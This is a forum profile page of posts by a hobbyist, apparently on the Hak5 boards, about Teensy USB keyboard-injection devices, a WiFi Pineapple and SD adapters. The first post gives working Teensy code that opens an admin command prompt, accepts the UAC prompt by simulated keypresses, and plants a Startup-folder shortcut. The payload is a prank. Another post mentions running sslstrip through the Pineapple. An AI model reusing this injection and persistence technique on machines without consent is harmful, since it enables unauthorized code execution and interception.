Jump to content

PineDominator

Dedicated Members
  • Posts

    1,078
  • Joined

  • Last visited

  • Days Won

    18

Everything posted by PineDominator

  1. Ok so I did manage to get the teensy to rick roll:) This code is made for vista and will most likely work on seven /* All of the included functions are from one of my libarys called tfmanlib I am still working on it but if you would like a zip of it just ask and I'll put it up here */ int ledPin = 11; void setup() { delay(5000); pinMode(ledPin, OUTPUT); startMenuPromptAsAdmin("cmd.exe", 40); //40% more delay I add int delayPercent to all my functions tfmDelay(1200, 25); //25% Keyboard.print("cd \\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("echo [InternetShortcut] > rickroll.url"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("echo URL=http://www.thekickback.com/rickroll/rickroll.php >> rickroll.url"); keyPressAmount(KEY_ENTER, 1); Keyboard.print("exit"); keyPressAmount(KEY_ENTER, 1); } void loop() { digitalWrite(ledPin, HIGH); // set the LED on delay(1000); // wait for a second digitalWrite(ledPin, LOW); // set the LED off delay(1000); // wait for a second } /*Code from petertfm. inspired by code from H@L0_F00. at hak5.org*/ void tfmDelay(unsigned long delayMS, int delayPercent) { delay(((delayMS * delayPercent) / 100) + delayMS); } void startMenuPromptAsAdmin(char *commandToRun, int delayPercent) { openStartMenu(delayPercent); Keyboard.print(commandToRun); tfmDelay(strlen(commandToRun) * 6, delayPercent); startMenuRunUAC(delayPercent); } void openStartMenu(int delayPercent) { Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); Keyboard.set_key1(KEY_ESC); Keyboard.send_now(); tfmDelay(60, delayPercent); clearKey1(); tfmDelay(120, delayPercent); } void startMenuRunUAC(int delayPercent) { /*Press CTRL+SHIFT+ENTER for UAC prompt*/ Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); tfmDelay(400, delayPercent); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); tfmDelay(100, delayPercent); clearKey1(); tfmDelay(1200, delayPercent); /*Time for UAC to appear*/ UACAccept(delayPercent); } void UACAccept(int delayPercent) { /*Accept UAC prompt*/ Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); clearKey1(); tfmDelay(10, delayPercent); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); clearKey1(); } void clearKey1() { Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void moveOffScreen(int moveAmount, int delayPercent) { Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.send_now(); tfmDelay(20, delayPercent); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); tfmDelay(50, delayPercent); clearKey1(); Keyboard.set_key1(KEY_M); Keyboard.send_now(); tfmDelay(50, delayPercent); clearKey1(); tfmDelay(10, delayPercent); keyPressAmount(KEY_DOWN, moveAmount); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); clearKey1(); } void keyPressAmount(int keyToPress, int amountToPress) { for (int pressAmount = 1; pressAmount <= amountToPress; pressAmount++) { Keyboard.set_key1(keyToPress); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } Please let me know If there are any bugs? feel free to steal my code It is inspired by you guys anyways:) also I am looking for some linux and mac sketches so I can include them into my switches library It's now complete but needs a good sketch to demo it
  2. Hi there maybe you could help me I am trying to make a rick roller for the teensy I thought to make a startup entry that would point to and if possible run full screen, maybe without controls ect. If anyone has done something like this already I would realy appreciate taking a look at it or maybe you have some ideas of your own? also I have no idea how to add or make a startup entry maybe it could be done with cmd.exe as admin and added to the startup folder?
  3. I'm not sure where I got this link from, maybe on these forums? but was told that sd cards should be formated in a particular way http://panasonic.jp/support/global/cs/sd/download/index.html I hope this helps because I have yet to test my sd card reader. also search the forums because apparently the brand and model of card can make a difference.
  4. I did it on a fully installed backtrack 4 not sure how different a vm backtrack would be? as far as backing up I would have no idea, I just took a risk changing/adding a few lines of code and accessing the webif/X-wrt interface to change dhcp to static. I think the reason the pineapple needs to be static and not assign an ip automatically is otherwise when you connect it to your computer it will get an ip from the pineapple and it needs to be the other way around(pineapple connects to your computer for internet) I am prety sure If you want to use the pineapple.sh script you need to change to a (10.110.0.*) ip system. the only thing I changed about my fresh hak5 openmesh pineapple was Setup for ICS on this page http://www.hak5.org/forums/index.php?showtopic=16069
  5. ok so my ics for backtrack 4 has changed since I found this http://www.hak5.org/forums/index.php?showtopic=15200 so all I had to do was download and run the install.sh. because I had allready set up ics in my previous post. the script works great. just sudo pineapple.sh and 3 questions wlan0, eth0 and do you want to run sslstrip I love it:O a note though and noticed this with my previous method if you choose to run sslstrip, then keep it running the entire time because if you stop it there will be no internet through the pineapple. u can just reboot backtrack and start over. and yes the bottom of mine gets hot too.
  6. that would be awesome. I don't think Bebo's guide had the html and cut song files too? Psychosis would it be possible to switch back to the regular functionality? without to much trouble?
  7. Hey I too was having issues with sharing my internet(ICS). I have a pineapple v2(open mesh) purchased from hak5. so all I had to do is follow the instructions for ICS. Followed the instructions at: http://www.hak5.org/forums/index.php?showtopic=16069 scroll to the "Setup for ICS" you can change what ip's used. I went with the 10.110.0.1, 10.110.0.2 because it was there;) plus it might help to use an ip that is different from the Internet you will be sharing. here is what worked for me. I used my Ethernet and "alpha AWUS036H 1 watt". I did this in vista 1. connect your wifi to the source where you get Internet from. 2. find network connections, then right click on the wifi and choose properties. 3. under the sharing tab click "allow other network users to connect....". 4. also you need to select your Ethernet device. 5. under your ethernets properties select "Internet Protocols Version 4(TCP/IPv4)". 6. select "Use the following IP address" IP: 10.110.0.1, Subnet mask: 255.255.255.0, Gateway: 10.110.0.2 for dns you could use 8.8.8.8 and 4.2.2.2 7. it should be set up for ICS. I just figured out and got working ics under backtrack 4 I'll try and post it soon;)
  8. http://www.pjrc.com/teensy/experimental.html This page has both 0.9 alpha and 1.6 loader;)
  9. A cool one I was thinking of is windows updates. it would be hard since some updates require custom input. like every time I reinstall from my rescue disc windows update takes about 7 restarts and a whole night "Hey windows 7 true auto update that works, was my idea". #2 would be nice to include all the good library s for the teensy that we have all been making. I am working on a awesome library for switches/dip/button and hopefully when I get the parts to solder on and test I will release in a couple weeks. another good way of white hat. would be a keyloging program on your computer then another program that could convert the logged ones to teensy code allso a way to manipulate the delays. with this you could take those mundane things and convert them to teensy code Paul thanks so much for all the great code and teensy. I had an issue with linksys because they were ignoring there 6 month old product and fixed all the issues on the newer one. still to this day they have not fixed a single issue. great to have people like you. that can get past bull$$$$
  10. Im not an expert on soldering I just bought an OK one from radio shack. but maybe you can buy a new tip for yours one thats a bit smaller/pointier I know when dealing with microcircuits you'll want to keep the heat to a minimum not sure what that is I just keep increasing until It melts solder. Probably a good idea to search what temp you should run at for microcircuits. and be careful not to heat up an area for too long. I think the hard part will be trying to keep the card straight on the teensy and not too wonky.
  11. Hi Grayson5. I have also ordered the micro sd card adapter for the teensy. and am planning on soldering to the teensy 2.0 not the ++ model. because It is easier to do on the teensy 2.0. disregard the schematics on the http://www.pjrc.com/teensy/sd_adaptor.html website, What is more important are the pins Ground, SS, SCLK, MOSI, MISO and +5V Here is what Paul Stoffregen replied to me in an e-mail peter wrote: > > I just put in 2 orders one for a teensy++ and the other teensy, micro > sd card adapter and 20 pins > > > > My question is can I solder the card like the one in your picture? > http://www.pjrc.com/store/sd_adaptor.html > Sure. That's all I did, right before taking that picture! > And second is it possible to do the same on the teensy++ it looks like > the outputs are differently numbered on the ++ version. > Yes, but not so easily. The MISO, MOSI, SCK and SS pins need to line up. If you orient the card the other way and shift it down a few pins, those 4 line up on the Teensy++. However, you would need to run 2 wires for the power. I know that works, because I wired one up that way.
×
×
  • Create New...